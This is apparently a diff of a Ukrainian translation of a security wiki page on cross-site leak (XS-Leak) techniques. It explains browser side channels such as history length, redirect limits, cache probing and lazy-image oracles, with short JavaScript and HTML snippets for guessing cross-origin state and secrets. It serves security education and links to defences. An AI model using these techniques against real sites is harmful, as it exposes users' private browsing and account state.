- **Більше інформації**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header) - **Більше інформації**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
- **Резюме**: CORB може дозволити зловмисникам виявити, коли **заголовок `nosniff` присутній** у запиті. - **Резюме**: CORB може дозволити зловмисникам виявити, коли **`nosniff` заголовок присутній** у запиті.
- **Приклад коду**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak) - **Приклад коду**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)
Перевірте посилання для отримання додаткової інформації про атаку. Перевірте посилання для отримання додаткової інформації про атаку.
@ -566,34 +566,34 @@ XS-Leak може використовувати CSP для виявлення,
- **Резюме:** GC та SA дозволяють перевірити тип відповіді (opaque-redirect) після завершення перенаправлення. - **Резюме:** GC та SA дозволяють перевірити тип відповіді (opaque-redirect) після завершення перенаправлення.
- **Приклад коду**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak) - **Приклад коду**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
Подання запиту за допомогою Fetch API з `redirect: "manual"` та іншими параметрами дозволяє читати атрибут `response.type`, і якщо він дорівнює `opaqueredirect`, то відповідь була перенаправленням. Надсилаючи запит за допомогою Fetch API з `redirect: "manual"` та іншими параметрами, можливо прочитати атрибут `response.type`, і якщо він дорівнює `opaqueredirect`, то відповідь була перенаправленням.
### COOP ### COOP
- **Методи включення**: Вікна - **Методи включення**: Вікна
- **Виявна різниця**: Заголовок - **Виявна різниця**: Заголовок
- **Більше інформації**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/) - **Більше інформації**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
- **Резюме:** Сторінки, захищені політикою відкривача крос-доменів (COOP), запобігають доступу з крос-доменної взаємодії. - **Резюме:** Сторінки, захищені політикою відкривача крос-доменного доступу (COOP), запобігають доступу з крос-доменної взаємодії.
- **Приклад коду**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak) - **Приклад коду**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
Зловмисник може вивести наявність заголовка політики відкривача крос-доменів (COOP) у крос-доменної HTTP-відповіді. COOP використовується веб-додатками для запобігання зовнішнім сайтам отримувати довільні посилання на вікна. Видимість цього заголовка можна виявити, намагаючись отримати **посилання `contentWindow`**. У ситуаціях, коли COOP застосовується умовно, **властивість `opener`** стає показником: вона **невизначена**, коли COOP активний, і **визначена** у його відсутності. Зловмисник здатний вивести наявність заголовка політики відкривача крос-доменного доступу (COOP) у крос-доменної HTTP-відповіді. COOP використовується веб-додатками для запобігання зовнішнім сайтам отримувати довільні посилання на вікна. Видимість цього заголовка можна виявити, намагаючись отримати **посилання `contentWindow`**. У ситуаціях, коли COOP застосовується умовно, **властивість `opener`** стає показником: вона **невизначена**, коли COOP активний, і **визначена** у його відсутності.
### Максимальна довжина URL - серверна сторона ### URL Max Length - Server Side
- **Методи включення**: Fetch API, HTML-елементи - **Методи включення**: Fetch API, HTML-елементи
- **Виявна різниця**: Код статусу / Вміст - **Виявна різниця**: Код статусу / Вміст
- **Більше інформації**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects) - **Більше інформації**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
- **Резюме:** Виявлення різниць у відповідях через те, що довжина відповіді перенаправлення може бути занадто великою, що сервер відповідає помилкою, і генерується сповіщення. - **Резюме:** Виявлення різниць у відповідях через те, що довжина відповіді перенаправлення може бути занадто великою, що сервер відповідає з помилкою, і генерується сповіщення.
- **Приклад коду**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak) - **Приклад коду**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
Якщо перенаправлення на стороні сервера використовує **вхідні дані користувача всередині перенаправлення** та **додаткові дані**. Можливо виявити цю поведінку, оскільки зазвичай **сервера** мають **обмеження на довжину запиту**. Якщо **дані користувача** мають **довжину - 1**, оскільки **перенаправлення** використовує **ці дані** та **додає** щось **додаткове**, це викличе **помилку, що виявляється через події помилок**. Якщо перенаправлення на стороні сервера використовує **вхідні дані користувача всередині перенаправлення** та **додаткові дані**. Можливо виявити цю поведінку, оскільки зазвичай **сервера** мають **обмеження на довжину запиту**. Якщо **дані користувача** мають **довжину - 1**, оскільки **перенаправлення** використовує **ці дані** та **додає** щось **додаткове**, це викличе **помилку, що підлягає виявленню через події помилок**.
Якщо ви можете якимось чином встановити куки для користувача, ви також можете виконати цю атаку, **встановивши достатню кількість куків** ([**cookie bomb**](../hacking-with-cookies/cookie-bomb.md)), так що з **збільшенням розміру відповіді** **правильної відповіді** викликається **помилка**. У цьому випадку пам'ятайте, що якщо ви викликаєте цей запит з одного й того ж сайту, `<script>` автоматично надішле куки (тому ви можете перевірити на помилки).\ Якщо ви зможете якимось чином встановити куки для користувача, ви також можете виконати цю атаку, **встановивши достатню кількість куків** ([**cookie bomb**](../hacking-with-cookies/cookie-bomb.md)), так що з **збільшенням розміру відповіді** **правильної відповіді** викликається **помилка**. У цьому випадку пам'ятайте, що якщо ви викликаєте цей запит з одного й того ж сайту, `<script>` автоматично надішле куки (тому ви можете перевірити на помилки).\
Приклад **cookie bomb + XS-Search** можна знайти в запланованому рішенні цього звіту: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended) Приклад **cookie bomb + XS-Search** можна знайти в запланованому рішенні цього звіту: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
`SameSite=None` або бути в тому ж контексті зазвичай потрібно для цього типу атаки. `SameSite=None` або бути в тому ж контексті зазвичай потрібно для цього типу атаки.
### Максимальна довжина URL - клієнтська сторона ### URL Max Length - Client Side
- **Методи включення**: Вікна - **Методи включення**: Вікна
- **Виявна різниця**: Код статусу / Вміст - **Виявна різниця**: Код статусу / Вміст
@ -603,11 +603,11 @@ XS-Leak може використовувати CSP для виявлення,
Згідно з [документацією Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), максимальна довжина URL у Chrome становить 2 МБ. Згідно з [документацією Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), максимальна довжина URL у Chrome становить 2 МБ.
> Загалом, еб-платформа_ не має обмежень на довжину URL (хоча 2^31 є поширеним обмеженням). _Chrome_ обмежує URL до максимальної довжини **2 МБ** з практичних причин і щоб уникнути проблем з відмовою в обслуговуванні в міжпроцесному спілкуванні. > Загалом, еб-платформа_ не має обмежень на довжину URL (хоча 2^31 є поширеним обмеженням). _Chrome_ обмежує URL до максимальної довжини **2 МБ** з практичних причин і щоб уникнути проблем з відмовою в обслуговуванні в міжпроцесовій комунікації.
Отже, якщо **перенаправлений URL відповідає більше в одному з випадків**, можливо зробити так, щоб він перенаправляв з **URL, більшим за 2 МБ**, щоб досягти **обмеження довжини**. Коли це трапляється, Chrome показує сторінку **`about:blank#blocked`**. Отже, якщо **перенаправлений URL відповідає більше в одному з випадків**, можливо зробити так, щоб він перенаправляв з **URL, більшим за 2 МБ**, щоб досягти **обмеження довжини**. Коли це трапляється, Chrome показує сторінку **`about:blank#blocked`**.
**Помітна різниця** полягає в тому, що якщо **перенаправлення** було **завершено**, `window.origin` викликає **помилку**, оскільки крос-домен не може отримати цю інформацію. Однак, якщо **обмеження** було \*\*\*\* досягнуто, і завантажена сторінка була **`about:blank#blocked`**, **`origin`** вікна залишається таким, як у **батька**, що є **доступною інформацією.** **Помітна різниця** полягає в тому, що якщо **перенаправлення** було **завершено**, `window.origin` викликає **помилку**, оскільки крос-домен не може отримати цю інформацію. Однак, якщо **обмеження** було \*\*\*\* досягнуто, і завантажена сторінка була **`about:blank#blocked`**, **`origin`** вікна залишається таким, як у **батьківському**, що є **доступною інформацією.**
Вся додаткова інформація, необхідна для досягнення **2 МБ**, може бути додана через **хеш** в початковому URL, щоб вона була **використана в перенаправленні**. Вся додаткова інформація, необхідна для досягнення **2 МБ**, може бути додана через **хеш** в початковому URL, щоб вона була **використана в перенаправленні**.
@ -615,7 +615,7 @@ XS-Leak може використовувати CSP для виявлення,
url-max-length-client-side.md url-max-length-client-side.md
{{#endref}} {{#endref}}
### Максимальна кількість перенаправлень ### Max Redirects
- **Методи включення**: Fetch API, Фрейми - **Методи включення**: Fetch API, Фрейми
- **Виявна різниця**: Код статусу - **Виявна різниця**: Код статусу
@ -625,25 +625,25 @@ url-max-length-client-side.md
Якщо **максимальна** кількість **перенаправлень**, які потрібно слідувати в браузері, становить **20**, зловмисник може спробувати завантажити свою сторінку з **19 перенаправленнями** і нарешті **надіслати жертву** на перевірену сторінку. Якщо **помилка** викликана, це означає, що сторінка намагалася **перенаправити жертву**. Якщо **максимальна** кількість **перенаправлень**, які потрібно слідувати в браузері, становить **20**, зловмисник може спробувати завантажити свою сторінку з **19 перенаправленнями** і нарешті **надіслати жертву** на перевірену сторінку. Якщо **помилка** викликана, це означає, що сторінка намагалася **перенаправити жертву**.
### Довжина історії ### History Length
- **Методи включення**: Фрейми, Вікна - **Методи включення**: Фрейми, Вікна
- **Виявна різниця**: Перенаправлення - **Виявна різниця**: Перенаправлення
- **Більше інформації**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/) - **Більше інформації**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
- **Резюме:** JavaScript-код маніпулює історією браузера і може бути доступний через властивість довжини. - **Резюме:** JavaScript-код маніпулює історією браузера і може бути доступний через властивість length.
- **Приклад коду**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak) - **Приклад коду**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
**API історії** дозволяє JavaScript-коду маніпулювати історією браузера, яка **зберігає сторінки, відвідані користувачем**. Зловмисник може використовувати властивість довжини як метод включення: для виявлення навігації JavaScript та HTML.\ **History API** дозволяє JavaScript-коду маніпулювати історією браузера, яка **зберігає сторінки, відвідані користувачем**. Зловмисник може використовувати властивість length як метод включення: для виявлення навігації JavaScript та HTML.\
**Перевіряючи `history.length`**, змушуючи користувача **перейти** на сторінку, **повертаючись** до тієї ж доменної частини і **перевіряючи** нове значення **`history.length`**. **Перевіряючи `history.length`**, змушуючи користувача **перейти** на сторінку, **повертаючи** її **назад** до того ж походження і **перевіряючи** нове значення **`history.length`**.
### Довжина історії з тією ж URL ### History Length with same URL
- **Методи включення**: Фрейми, Вікна - **Методи включення**: Фрейми, Вікна
- **Виявна різниця**: Якщо URL такий же, як вгаданий - **Виявна різниця**: Якщо URL такий же, як вгаданий
- **Резюме:** Можливо вгадати, чи знаходиться місце розташування фрейму/вікна в конкретному URL, зловживаючи довжиною історії. - **Резюме:** Можливо вгадати, чи знаходиться місце розташування фрейма/вікна в конкретному URL, зловживаючи довжиною історії.
- **Приклад коду**: Нижче - **Приклад коду**: Нижче
Зловмисник може використовувати JavaScript-код, щоб **маніпулювати місцем розташування фрейму/вікна на вгадане** і **негайно** **змінити його на `about:blank`**. Якщо довжина історії збільшилася, це означає, що URL був правильним, і у нього був час **збільшитися, оскільки URL не перезавантажується, якщо він той же**. Якщо не збільшилася, це означає, що **він намагався завантажити вгаданий URL**, але оскільки ми **негайно після цього** завантажили **`about:blank`**, **довжина історії ніколи не збільшилася** під час завантаження вгаданого URL. Зловмисник може використовувати JavaScript-код, щоб **маніпулювати місцем розташування фрейма/вікна на вгадане** і **негайно** **змінити його на `about:blank`**. Якщо довжина історії збільшилася, це означає, що URL був правильним, і у нього був час **збільшитися, оскільки URL не перезавантажується, якщо він той же**. Якщо не збільшилася, це означає, що **він намагався завантажити вгаданий URL**, але тому що ми **негайно після цього** завантажили **`about:blank`**, **довжина історії ніколи не збільшилася** під час завантаження вгаданого URL.
```javascript ```javascript
async function debug(win, url) { async function debug(win, url) {
win.location = url + "#aaa" win.location = url + "#aaa"
@ -717,9 +717,9 @@ CSS селектор `:visited` використовується для стил
Незважаючи на ці обмеження, можливо непрямо розпізнати стан відвідування посилання. Одна з технік полягає в тому, щоб обманом змусити користувача взаємодіяти з областю, на яку впливає CSS, зокрема використовуючи властивість `mix-blend-mode`. Ця властивість дозволяє змішувати елементи з їх фоном, потенційно розкриваючи стан відвідування на основі взаємодії користувача. Незважаючи на ці обмеження, можливо непрямо розпізнати стан відвідування посилання. Одна з технік полягає в тому, щоб обманом змусити користувача взаємодіяти з областю, на яку впливає CSS, зокрема використовуючи властивість `mix-blend-mode`. Ця властивість дозволяє змішувати елементи з їх фоном, потенційно розкриваючи стан відвідування на основі взаємодії користувача.
Крім того, виявлення може бути досягнуто без взаємодії користувача, експлуатуючи часи рендерингу посилань. Оскільки браузери можуть рендерити відвідані та не відвідані посилання по-різному, це може ввести вимірювальну різницю в часі рендерингу. Доказ концепції (PoC) був згаданий у звіті про помилку Chromium, що демонструє цю техніку, використовуючи кілька посилань для посилення різниці в часі, тим самим роблячи стан відвідування виявленим через аналіз часу. Крім того, виявлення може бути досягнуто без взаємодії користувача шляхом використання часу рендерингу посилань. Оскільки браузери можуть рендерити відвідані та невідвідані посилання по-різному, це може ввести вимірювальну різницю в часі рендерингу. Доказ концепції (PoC) згадувався в звіті про помилку Chromium, демонструючи цю техніку за допомогою кількох посилань для посилення різниці в часі, тим самим роблячи стан відвідування виявленим через аналіз часу.
Для отримання додаткової інформації про ці властивості та методи відвідайте їх сторінки документації: Для отримання додаткових деталей про ці властивості та методи відвідайте їх сторінки документації:
- `:visited`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited) - `:visited`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
- `getComputedStyle()`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle) - `getComputedStyle()`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
@ -733,7 +733,7 @@ CSS селектор `:visited` використовується для стил
- **Summary:** У Google Chrome відображається спеціальна сторінка помилки, коли сторінка блокується від вбудовування на крос-доменному сайті через обмеження X-Frame-Options. - **Summary:** У Google Chrome відображається спеціальна сторінка помилки, коли сторінка блокується від вбудовування на крос-доменному сайті через обмеження X-Frame-Options.
- **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak) - **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
У Chrome, якщо сторінка з заголовком `X-Frame-Options`, встановленим на "deny" або "same-origin", вбудована як об'єкт, з'являється сторінка помилки. Chrome унікально повертає порожній об'єкт документа (замість `null`) для властивості `contentDocument` цього об'єкта, на відміну від iframe або інших браузерів. Зловмисники можуть експлуатувати це, виявляючи порожній документ, що потенційно розкриває інформацію про стан користувача, особливо якщо розробники непослідовно встановлюють заголовок X-Frame-Options, часто ігноруючи сторінки помилок. Обізнаність та послідовне застосування заголовків безпеки є критично важливими для запобігання таким витокам. У Chrome, якщо сторінка з заголовком `X-Frame-Options`, встановленим на "deny" або "same-origin", вбудована як об'єкт, з'являється сторінка помилки. Chrome унікально повертає порожній об'єкт документа (замість `null`) для властивості `contentDocument` цього об'єкта, на відміну від iframe або інших браузерів. Зловмисники можуть використовувати це, виявляючи порожній документ, що потенційно розкриває інформацію про стан користувача, особливо якщо розробники непослідовно встановлюють заголовок X-Frame-Options, часто ігноруючи сторінки помилок. Обізнаність та послідовне застосування заголовків безпеки є критично важливими для запобігання таким витокам.
### Download Detection ### Download Detection
@ -743,19 +743,19 @@ CSS селектор `:visited` використовується для стил
- **Summary:** Зловмисник може визначити завантаження файлів, використовуючи iframe; продовжена доступність iframe вказує на успішне завантаження файлу. - **Summary:** Зловмисник може визначити завантаження файлів, використовуючи iframe; продовжена доступність iframe вказує на успішне завантаження файлу.
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar) - **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
Заголовок `Content-Disposition`, зокрема `Content-Disposition: attachment`, інструктує браузер завантажувати вміст, а не відображати його в рядку. Цю поведінку можна експлуатувати для виявлення того, чи має користувач доступ до сторінки, яка викликає завантаження файлу. У браузерах на основі Chromium існує кілька технік для виявлення цієї поведінки завантаження: Заголовок `Content-Disposition`, зокрема `Content-Disposition: attachment`, інструктує браузер завантажувати вміст, а не відображати його в рядку. Цю поведінку можна використовувати для виявлення, чи має користувач доступ до сторінки, яка викликає завантаження файлу. У браузерах на основі Chromium існує кілька технік для виявлення цієї поведінки завантаження:
1. **Моніторинг панелі завантаження**: 1. **Моніторинг панелі завантаження**:
- Коли файл завантажується в браузерах на основі Chromium, внизу вікна браузера з'являється панель завантаження. - Коли файл завантажується в браузерах на основі Chromium, панель завантаження з'являється внизу вікна браузера.
- Моніторячи зміни у висоті вікна, зловмисники можуть зробити висновок про появу панелі завантаження, що свідчить про те, що завантаження було ініційовано. - Моніторячи зміни у висоті вікна, зловмисники можуть зробити висновок про появу панелі завантаження, що свідчить про те, що завантаження було ініційовано.
2. **Навігація завантаження з iframe**: 2. **Навігація завантаження з iframe**:
- Коли сторінка викликає завантаження файлу за допомогою заголовка `Content-Disposition: attachment`, це не викликає подію навігації. - Коли сторінка викликає завантаження файлу за допомогою заголовка `Content-Disposition: attachment`, це не викликає подію навігації.
- Завантажуючи вміст в iframe та моніторячи події навігації, можна перевірити, чи викликає вміст завантаження файлу (без навігації) чи ні. - Завантажуючи вміст в iframe та моніторячи події навігації, можна перевірити, чи викликає вміст завантаження файлу (без навігації) чи ні.
3. **Навігація завантаження без iframe**: 3. **Навігація завантаження без iframe**:
- Подібно до техніки iframe, цей метод передбачає використання `window.open` замість iframe. - Подібно до техніки iframe, цей метод передбачає використання `window.open` замість iframe.
- Моніторинг подій навігації у нововідкритому вікні може виявити, чи було ініційовано завантаження файлу (без навігації) або вміст відображається в рядку (відбувається навігація). - Моніторинг подій навігації у нововідкритому вікні може виявити, чи було ініційовано завантаження файлу (без навігації) або чи вміст відображається в рядку (відбувається навігація).
У сценаріях, де лише авторизовані користувачі можуть ініціювати такі завантаження, ці техніки можуть бути використані для непрямого виведення стану аутентифікації користувача на основі відповіді браузера на запит завантаження. У сценаріях, де лише авторизовані користувачі можуть ініціювати такі завантаження, ці техніки можуть бути використані для непрямого виведення стану аутентифікації користувача на основі відповіді браузера на запит на завантаження.
### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a> ### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
@ -766,13 +766,13 @@ CSS селектор `:visited` використовується для стил
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (з [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)) - **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (з [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
> [!WARNING] > [!WARNING]
> Ось чому ця техніка цікава: Chrome тепер має **розподіл кешу**, і ключ кешу нововідкритої сторінки: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, але якщо я відкрию сторінку ngrok і використаю fetch в ній, ключ кешу буде: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, **ключ кешу різний**, тому кеш не може бути спільним. Ви можете знайти більше деталей тут: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\ > Ось чому ця техніка цікава: Chrome тепер має **розділене кешування**, і ключ кешу нововідкритої сторінки: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, але якщо я відкрию сторінку ngrok і використаю fetch в ній, ключ кешу буде: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, **ключ кешу різний**, тому кеш не може бути спільним. Ви можете знайти більше деталей тут: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
> (Коментар з [**тут**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)) > (Коментар з [**тут**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
Якщо сайт `example.com` включає ресурс з `*.example.com/resource`, то цей ресурс матиме **той же ключ кешу**, як якби ресурс був безпосередньо **запитаний через навігацію верхнього рівня**. Це тому, що ключ кешу складається з верхнього рівня _eTLD+1_ та фрейму _eTLD+1_. Якщо сайт `example.com` включає ресурс з `*.example.com/resource`, то цей ресурс матиме **той же ключ кешування**, як якби ресурс був безпосередньо **запитаний через навігацію верхнього рівня**. Це тому, що ключ кешування складається з верхнього рівня _eTLD+1_ та фрейму _eTLD+1_.
Оскільки доступ до кешу швидший, ніж завантаження ресурсу, можна спробувати змінити місце розташування сторінки та скасувати його через 20 мс (наприклад) після. Якщо походження змінилося після зупинки, це означає, що ресурс був кешований.\ Оскільки доступ до кешу швидший, ніж завантаження ресурсу, можна спробувати змінити місце розташування сторінки та скасувати його через 20 мс (наприклад) після. Якщо походження змінилося після зупинки, це означає, що ресурс був кешований.\
Або просто **надіслати деякі запити до потенційно кешованої сторінки та виміряти час, який це займає**. Або просто **надіслати деякі запити на потенційно кешовану сторінку та виміряти час, який це займає**.
### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a> ### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
@ -792,7 +792,7 @@ CSS селектор `:visited` використовується для стил
- **Summary:** Можливо спробувати завантажити ресурс і скасувати його до того, як він буде завантажений. В залежності від того, чи виникає помилка, ресурс був або не був кешований. - **Summary:** Можливо спробувати завантажити ресурс і скасувати його до того, як він буде завантажений. В залежності від того, чи виникає помилка, ресурс був або не був кешований.
- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller) - **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
Використовуйте _**fetch**_ та _**setTimeout**_ з **AbortController**, щоб виявити, чи **ресурс кешується**, і видалити конкретний ресурс з кешу браузера. Більше того, процес відбувається без кешування нового вмісту. Використовуйте _**fetch**_ та _**setTimeout**_ з **AbortController**, щоб виявити, чи **ресурс кешується** та видалити конкретний ресурс з кешу браузера. Більше того, процес відбувається без кешування нового вмісту.
### Script Pollution ### Script Pollution
@ -854,7 +854,7 @@ CSS селектор `:visited` використовується для стил
<img src=/something loading=lazy > <img src=/something loading=lazy >
``` ```
Отже, що ви можете зробити, це **додати багато сміттєвих символів** (наприклад, **тисячі "W"**) для **заповнення веб-сторінки перед секретом або додати щось на кшталт** `<br><canvas height="1850px"></canvas><br>.`\ Отже, що ви можете зробити, це **додати багато сміттєвих символів** (наприклад, **тисячі "W"**) для **заповнення веб-сторінки перед секретом або додати щось на кшталт** `<br><canvas height="1850px"></canvas><br>.`\
Тоді, якщо, наприклад, наша **ін'єкція з'явиться перед прапором**, **зображення** буде **завантажено**, але якщо з'явиться **після** **прапора**, прапор + сміття **перешкодять його завантаженню** (вам потрібно буде експериментувати з кількістю сміття, яке потрібно розмістити). Це те, що сталося в [**цьому описі**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/). Тоді, якщо, наприклад, наша **ін'єкція з'явиться перед прапором**, **зображення** буде **завантажено**, але якщо з'явиться **після** **прапора**, прапор + сміття **перешкодять його завантаженню** (вам потрібно буде експериментувати з кількістю сміття, яке потрібно розмістити). Це те, що сталося в [**цьому звіті**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
Інший варіант - використовувати **scroll-to-text-fragment**, якщо це дозволено: Інший варіант - використовувати **scroll-to-text-fragment**, якщо це дозволено:
@ -866,15 +866,15 @@ CSS селектор `:visited` використовується для стил
``` ```
Отже, веб-сторінка буде виглядати приблизно так: **`https://victim.com/post.html#:~:text=SECR`** Отже, веб-сторінка буде виглядати приблизно так: **`https://victim.com/post.html#:~:text=SECR`**
Де post.html містить сміттєві символи атакуючого та зображення з лінивою завантаженням, а потім додається секрет бота. Де post.html містить сміттєві символи атакуючого та зображення з лінійною завантаженням, а потім додається секрет бота.
Цей текст змусить бота отримати доступ до будь-якого тексту на сторінці, що містить текст `SECR`. Оскільки цей текст є секретом і він знаходиться **безпосередньо під зображенням**, **зображення завантажиться лише якщо вгаданий секрет правильний**. Отже, у вас є ваш оракул для **екстракції секрету символ за символом**. Цей текст змусить бота отримати доступ до будь-якого тексту на сторінці, що містить текст `SECR`. Оскільки цей текст є секретом і він знаходиться **безпосередньо під зображенням**, **зображення завантажиться лише якщо вгаданий секрет правильний**. Отже, у вас є ваш оракул для **екстракції секрету символ за символом**.
Приклад коду для експлуатації цього: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e) Ось приклад коду для експлуатації цього: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
### Час завантаження зображення на основі лінивої завантаження ### Час завантаження зображення на основі
Якщо **неможливо завантажити зовнішнє зображення**, що могло б вказати атакуючому, що зображення було завантажено, іншим варіантом буде спробувати **вгадати символ кілька разів і виміряти це**. Якщо зображення завантажено, всі запити займатимуть більше часу, ніж якщо зображення не завантажено. Це було використано в [**рішенні цього опису**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **узагальнено тут:** Якщо **неможливо завантажити зовнішнє зображення**, що могло б вказати атакуючому, що зображення було завантажено, іншим варіантом буде спробувати **вгадати символ кілька разів і виміряти це**. Якщо зображення завантажено, всі запити займатимуть більше часу, ніж якщо зображення не завантажено. Це те, що було використано в [**рішенні цього опису**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **підсумовано тут:**
{{#ref}} {{#ref}}
event-loop-blocking-+-lazy-images.md event-loop-blocking-+-lazy-images.md
@ -888,7 +888,7 @@ event-loop-blocking-+-lazy-images.md
### CSS ReDoS ### CSS ReDoS
Якщо використовується `jQuery(location.hash)`, можна дізнатися за допомогою таймінгу **чи існує деякий HTML контент**, це пов'язано з тим, що якщо селектор `main[id='site-main']` не відповідає, не потрібно перевіряти решту **селекторів**: Якщо використовується `jQuery(location.hash)`, можна дізнатися через таймінг **чи існує деякий HTML контент**, це пов'язано з тим, що якщо селектор `main[id='site-main']` не відповідає, не потрібно перевіряти решту **селекторів**:
```javascript ```javascript
$( $(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']" "*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
@ -900,11 +900,11 @@ $(
css-injection/ css-injection/
{{#endref}} {{#endref}}
## Захист ## Defenses
Є рекомендації щодо пом'якшення в [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf), а також у кожному розділі вікі [https://xsleaks.dev/](https://xsleaks.dev/). Ознайомтеся з цим для отримання додаткової інформації про те, як захиститися від цих технік. Є рекомендації щодо пом'якшення в [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf), а також в кожному розділі вікі [https://xsleaks.dev/](https://xsleaks.dev/). Ознайомтеся з цим для отримання додаткової інформації про те, як захиститися від цих технік.
## Посилання ## References
